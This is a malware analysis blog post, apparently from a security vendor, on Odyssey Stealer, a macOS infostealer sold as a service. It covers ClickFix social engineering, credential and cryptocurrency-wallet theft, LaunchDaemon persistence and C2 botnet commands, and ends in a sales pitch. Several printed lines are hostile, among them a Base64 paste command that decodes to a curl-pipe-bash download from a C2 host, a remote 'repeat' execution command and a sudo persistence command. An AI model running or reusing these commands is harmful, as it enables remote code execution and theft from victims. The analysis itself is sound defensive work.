Odyssey Stealer: The Evolution Of MacOS Threats Targeting Cryptocurrency & Sensitive Data

Odyssey Stealer is an advanced malware-as-a-service (MaaS) offering that evolves from two well-known predecessor families: AMOS (Atomic macOS Stealer) and Poseidon Stealer. The threat actor behind this campaign is “Rodrigo” (alias Rodrigo4), a former AMOS developer who previously created Poseidon as an enhanced fork of AMOS before eventually selling that operation. With Odyssey, Rodrigo rebranded and significantly upgraded the Poseidon codebase to bypass modern macOS security defenses.

The campaign demonstrates a clear geographic preference for Western markets primarily the United States, European Union member states, and Canada while conspicuously avoiding victims in CIS (Commonwealth of Independent States) nations. This pattern is characteristic of Russian-aligned cybercriminal operations adhering to underground forum policies prohibiting malware targeting CIS countries. The majority of command-and-control (C2) infrastructure for Odyssey is hosted in Russia, further supporting this assessment.

Key Capabilities:

• Comprehensive cryptocurrency wallet theft (200+ browser extensions, 25+ desktop wallets)
• Advanced persistence via LaunchDaemons with stolen sudo credentials
• Trojanized Ledger Live application for supply chain compromise
• Botnet functionality enabling remote command execution
• SOCKS5 proxy deployment for pivoting through infected hosts

Understanding Odyssey Stealer requires examining its lineage within the macOS malware ecosystem.

• AMOS (Atomic macOS Stealer) emerged as the first widely adopted macOS MaaS platform. It pioneered techniques such as browser extension targeting and desktop wallet theft and was initially distributed through underground forums such as Cookie.pro.
• One of AMOS’s developers, Rodrigo4, later created Poseidon Stealer, an enhanced fork with improved capabilities and broader distribution via malvertising campaigns and malicious email installers. Although Poseidon was eventually sold, the codebase continued to circulate.
• Odyssey Stealer represents the next evolutionary stage, engineered specifically to bypass modern macOS security hardening. Enhancements include improved persistence, integrated botnet features, anti-analysis mechanisms, and trojanized legitimate applications.

Odyssey Stealer represents the next evolutionary step. It was specifically engineered to circumvent modern macOS security hardening measures and introduces critical enhancements including anti-sandboxing detection, improved LaunchDaemon-based persistence, integrated botnet functionality, and trojanized application.

Since early 2024, the macOS threat landscape has undergone significant transformation. Three key factors have driven the surge in macOS-targeted infostealers:

• Increased Enterprise Adoption
  macOS adoption within enterprise environments has increased by approximately 2% when comparing January 2021–January 2023 with January 2023–August 2024. More importantly, macOS devices are disproportionately used by high-value roles, including developers, security engineers, and executive leadership, all of whom possess elevated privileges and access to sensitive resources.

• Expansion of macOS MaaS Ecosystems
  A competitive malware-as-a-service marketplace has emerged, with families such as AMOS, Poseidon, Odyssey, Banshee, and Cthulhu competing for market share. This ecosystem has lowered the barrier to entry for macOS malware development and distribution.

• Cross-Platform Development Tooling
  The adoption of cross-platform languages and AppleScript has further reduced development complexity, enabling rapid creation of sophisticated macOS malware with minimal additional effort.

ClickFix represents a sophisticated evolution in social engineering, first observed in mid-2024 and rapidly adopted across threat landscapes for both Windows and macOS targeting. This technique exploits users’ familiarity with completing CAPTCHAs and addressing error messages, weaponizing routine troubleshooting behavior into a malware delivery vector.

Technical Mechanism:

The attack chain begins when victims visit typosquatted domains mimicking legitimate financial services, cryptocurrency platforms, or Apple ecosystem services. Upon visiting these malicious sites, JavaScript detects the victim’s operating system and presents customized content:

• For macOS users: Fake CAPTCHA or error dialog boxes displaying Cloudflare branding instruct victims to “Verify You Are Human” or “Fix a problem” by opening Terminal (via Command+Space), clicking a “Copy” button, and pasting the copied command.
• Clipboard Manipulation: Some implementations automatically copy malicious commands to the clipboard when users interact with fake verification buttons.
• Security Control Bypass: Since users themselves voluntarily execute the commands, the technique completely bypasses traditional security mechanisms including browser download warnings, SmartScreen filters, and Gatekeeper controls.
• Reduced Forensic Footprint: No files download through the browser, significantly reducing detection surface and complicating incident response forensics.

Widespread Adoption Across Threat Landscape:

ClickFix has been rapidly adopted by diverse threat actors including initial access broker TA571, ClearFake infrastructure, nation-state actors including Iran-linked MuddyWater and Russia-linked APT28, ransomware groups like Interlock, and information stealers including Lumma, AsyncRAT, and NetSupport.

Stage 1: Initial Contact

• Victims encounter malicious domains carefully crafted to impersonate legitimate services across multiple categories, including:
  • Finance platforms
  • Cryptocurrency exchanges
  • Apple ecosystem services
  • Trading platforms

Stage 2: Operating System Detection and ClickFix Presentation

• JavaScript embedded in malicious websites detects the victim’s operating system and presents OS-specific instructions.
• For macOS users, the attack flow includes:
  • Fake CAPTCHA or error dialogs displaying Cloudflare branding
  • Instructions to open Terminal via Command + Space
  • A “Copy” button that places Base64-encoded commands into the clipboard
• This technique relies on user interaction to bypass traditional security controls.

Stage 3: Base64-Encoded Payload Delivery

• When victims click the “Copy” button and paste the command into Terminal, the following command is executed:

  echo "Y3VybCAtcyBodHRwOi8veHgueHgueHgueHgvZC92aXB4MTQzNTAgfCBub2h1cCBiYXNoICY=" | bash
  

• This command decodes to:

  curl -s http://[C2_IP]/d/[username] 
  | nohup bash &
  

• This command performs the following actions:
  • Downloads heavily obfuscated AppleScript from the command-and-control (C2) server
  • Executes the payload via bash in the background
  • Uses nohup to ensure execution persists after Terminal closure
  • Uses the & operator to background the process

Stage 4: AppleScript Execution

• The downloaded AppleScript payload is executed using osascript:

  osascript -e 
  'run script "" & return & [MALICIOUS_APPLESCRIPT]'
  

• This execution method dynamically constructs the entire AppleScript payload through string concatenation. As a result, it effectively defeats:
  • Simple string-based detection
  • File-based static analysis

Odyssey’s AppleScript component represents a highly sophisticated, multi-functional malware engine with advanced capabilities:

Obfuscation & Anti-Analysis:

The malware employs systematic obfuscation to frustrate static analysis. Every function, variable, parameter, and loop variable uses a consistent 19-digit numeric naming convention (e.g., f8384345844822894775 for functions, v1505449586457061308 for variables). This approach creates unique signatures for each variable while making manual analysis extremely time-consuming. Additionally, the malware contains a Base64-encoded nested payload containing another complete AppleScript with identical functionality designed for persistent execution via LaunchDaemon. String obfuscation via character reversal further evades detection by reversing path strings before processing.

Credential Harvesting:

The malware implements a sophisticated multi-stage password extraction process. It first attempts to validate credentials with an empty password using dscl . authonly. If no password is set, it extracts credentials from macOS Keychain. If password-protected, the malware displays a fake authentication dialog mimicking legitimate macOS system prompts, validates the entered password using Directory Service, and continues prompting in an infinite loop until a valid password is obtained.

File System Operations:

Odyssey maintains comprehensive file system manipulation capabilities including creating directories, reading/writing files, copying files, checking for directories, and recursive directory copying with intelligent exclusion of browser cache and temporary files (such as .DS_Store, Cache, GPUCache, and Crashpad).

• Browser Extension Theft (200+ Cryptocurrency Wallets):
  Odyssey maintains a hardcoded array containing over 200 cryptocurrency wallet extension identifiers including MetaMask, Coinbase Wallet, Trust Wallet, Phantom, Exodus, and 195+ additional extensions. The malware targets major browsers including Chrome, Brave, Edge, Vivaldi, Opera, Firefox, and Waterfox, stealing session cookies, form autofill data, saved passwords, extension data, and extension databases.
• Desktop Cryptocurrency Wallets (25+ Applications):
  The malware targets an extensive array of desktop wallet applications including Electrum, Coinomi, Exodus, Atomic, Wasabi, Ledger Live, Monero, Bitcoin Core, Litecoin Core, Dash Core, and numerous others, stealing wallet files and configuration data from their respective application directories.
• macOS-Specific Data:
  The malware exfiltrates Safari cookies and form data, macOS Keychain databases (including the master login.keychain-db containing system-wide credentials), Apple Notes data via both database extraction and live application interface, documents from Desktop and Documents folders (PDF, DOCX, TXT, RTF, JPEG, PNG files), cryptocurrency wallet files (.wallet, .key, .kdbx), and comprehensive system information via the system_profiler utility.
• Data Staging & Compression:
  The malware creates a sophisticated staging directory structure in /tmp/[random]/ with organized folders for finder (macOS-specific data), chromium (browser data), gecko (Firefox data), and deskwallets. It uses macOS’s native ditto utility for compression (ditto -c -k –sequesterRsrc [source] /tmp/out.zip), which preserves extended attributes and maintains exact file structure for operator analysis.
• Exfiltration Process:
  The malware uploads compressed archives using curl with custom HTTP headers for campaign tracking. The exfiltration includes specific metadata transmitted in HTTP headers: buildid (74cd0fb289f843438b19c76b4abdf2f1), username (boss), and repeat flag. Resilient exfiltration features include up to 10 upload attempts with 60-second delays between retries on failure, ensuring successful data transmission despite network instability.

LaunchDaemon Installation:

Odyssey achieves system-level persistence through macOS’s LaunchDaemon mechanism. The malware generates a random identifier (com.[random_number]), decodes a nested Base64 payload containing another complete AppleScript, and creates a LaunchDaemon plist with specific configuration

<key>KeepAlive</key><true/> 

<key>RunAtLoad</key><true/> 

<key>SessionCreate</key><true/>

The malware installs the plist using stolen sudo credentials: echo “[password]” | sudo -S launchctl bootstrap system /Library/LaunchDaemons/com.[random].plist. If installation fails, it executes in the background using nohup. This ensures automatic restart on crash, immediate execution upon system boot, and persistence across system restarts and updates.

Hidden Configuration Files:

The malware maintains state information in hidden files within the user’s home directory:

These files enable the persistent payload to maintain context across executions, avoid duplicate infections, and seamlessly resume C2 communication after reboots.

• ODYSSEY STEALER CONTROL PANEL:
  

The panel serves as an organized control center that allows attackers to oversee stolen information, adjust malware functionality, and execute their operations. Its main components include:

• • Dashboard: Displays compromised machines, extracted data, and overall attack metrics.
  • Builder: Generates tailored malware variants for specific victims or environments.
  • Logs: Holds captured credentials, browser cookies, and cryptocurrency wallet data.
  • Bots: Shows all compromised endpoints, including details such as IP addresses and whether they are currently active.
  • Guest Mode: Provides potential buyers with restricted access to preview the panel’s capabilities.
  • Google Cookies Restore: Allows threat actors to take over browser sessions using stolen authentication cookies.
  • Other Settings: Manages general panel configuration and behavior.
  • C2 Architecture: Odyssey implements a RESTful API-based command-and-control architecture:
    • Bot Registration: http://[C2]/api/v1/bot/joinsystem/[username]/[macOS_version] - Called during initial infection to register compromised systems
    • Command Retrieval: http://[C2]/api/v1/bot/actions/[botid] - Returns 3-line response (timestamp/action_id, command_type, command_parameters)
    • Repeat Command: curl -s http://[C2]/api/v1/bot/repeat/[botid] | bash & - Downloads and executes arbitrary scripts
    • Asset Downloads:  http://[C2]/otherassets/ledger.zip (trojanized Ledger Live), /socks (SOCKS5 proxy), /plist/ (additional plists)
      

Remote Command Execution:
The malware implements a main command loop running indefinitely with 60-second intervals, continuously polling the C2 server. Supported commands include:

• uninstall: Writes “+” to ~/.uninstalled marker file, preventing re-infection
• repeat: Downloads and executes arbitrary scripts via bash in the background
• doshell: Executes arbitrary shell commands with full user privileges
• enablesocks5: Downloads SOCKS5 proxy binary, makes it executable, and runs it persistently in the background using disown to enable C2 pivoting through infected hosts

Odyssey Stealer represents a fundamental shift in how threat actors target enterprise and personal computing environments. The implications extend far beyond individual system compromise.

• Direct Financial Impact: Cryptocurrency theft is the primary objective, but comprehensive data collection enables subsequent fraud, identity theft, and financial institution compromise. Organizations with developer teams or financial personnel face particular risk.
• Credential & Identity Compromise: Systematic harvesting of credentials from browsers, Keychain, and password managers creates cascading security failures. A single compromised macOS system becomes the pivot point for compromising corporate infrastructure, email accounts, and cloud services.
• Persistent Threat Model: Sophisticated persistence mechanisms and C2 infrastructure enable long-term presence and continuous system monitoring unless detected and remediated.

Wizard Cyber leverages deep Microsoft security expertise to protect organizations from advanced threats like Odyssey Stealer. By combining 24/7 managed threat detection with advanced response capabilities, we ensure your macOS and broader IT infrastructure remains secure.

• Intelligence-Driven Detection
  The CSI team collects, analyzes, and enriches threat intelligence, from email headers, routing paths, and sender behavior to look-alike domains. This allows Wizard Cyber to detect subtle phishing campaigns that exploit trusted services before they reach end users.
• Actionable Security Advisories & Profiles
  CSI produces timely advisories, actor profiles, and customer-specific threat profiles. Wizard Cyber leverages these insights to guide organisations in hardening email authentication, closing gaps in SPF, DKIM, DMARC, and securing subdomains against misuse.
• Enhanced Monitoring & Reporting
  CSI continuously monitors emerging threats, suspicious domains, and phishing infrastructures. These outputs feed Wizard Cyber’s platforms to improve detection precision, enrich dashboards, and support training for SOC and threat-hunting teams.

In short, Wizard Cyber bridges the gap between prevention and detection. By combining protocol expertise, real-time behavioral analytics, and continuous threat intelligence, we help organizations stop phishing campaigns that abuse trusted infrastructure before they turn into breaches.